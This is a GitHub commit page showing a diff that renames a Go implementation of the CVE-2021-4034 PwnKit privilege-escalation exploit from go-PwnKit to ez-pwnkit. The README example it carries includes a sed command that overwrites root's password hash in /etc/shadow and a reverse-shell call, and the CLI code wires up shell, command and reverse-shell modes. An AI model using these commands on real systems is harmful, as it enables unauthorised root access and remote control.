Skip to content

Commit

Permalink
Rename project
Browse files Browse the repository at this point in the history
  • Loading branch information
OXDBXKXO committed Feb 23, 2022
1 parent d13fda2 commit c4d499c
Show file tree
Hide file tree
Showing 4 changed files with 12 additions and 12 deletions.
12 changes: 6 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# go-PwnKit
# ez-pwnkit

A pure-Go implementation of the **CVE-2021-4034 PwnKit** exploit.

Expand All @@ -9,8 +9,8 @@ The exploit use `syscall.ForkExec` to survive end of main program.
## Installation

```bash
git clone git@github.com:OXDBXKXO/go-PwnKit.git
cd go-PwnKit
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
```

Expand Down Expand Up @@ -65,15 +65,15 @@ $> ./exploit -o -c "cat /etc/passwd"
package main

import (
"github.com/OXDBXKXO/go-PwnKit"
"github.com/OXDBXKXO/ez-pwnkit"
)

func main() {
// Change root password to 'password'
gopwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)

// Open a reverse-shell
gopwnkit.RevShell("127.0.0.1:1337")
ez_pwnkit.RevShell("127.0.0.1:1337")
}

```
Expand Down
8 changes: 4 additions & 4 deletions cmd/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ package main
import (
"flag"
"fmt"
"github.com/OXDBXKXO/go-PwnKit"
"github.com/OXDBXKXO/ez-pwnkit"
)

func main() {
Expand All @@ -15,11 +15,11 @@ func main() {

var err error
if *reverseShell != "" {
gopwnkit.RevShell(*reverseShell)
ez_pwnkit.RevShell(*reverseShell)
} else if *cmd != "" {
gopwnkit.Command(*cmd, *output)
ez_pwnkit.Command(*cmd, *output)
} else if *shell {
gopwnkit.Shell()
ez_pwnkit.Shell()
} else {
flag.Usage()
}
Expand Down
2 changes: 1 addition & 1 deletion exploit.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
https://github.com/berdav/CVE-2021-4034
*/

package gopwnkit
package ez_pwnkit

import (
_ "embed"
Expand Down
2 changes: 1 addition & 1 deletion go.mod
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
module github.com/OXDBXKXO/go-PwnKit
module github.com/OXDBXKXO/ez-pwnkit

go 1.17

0 comments on commit c4d499c

Please sign in to comment.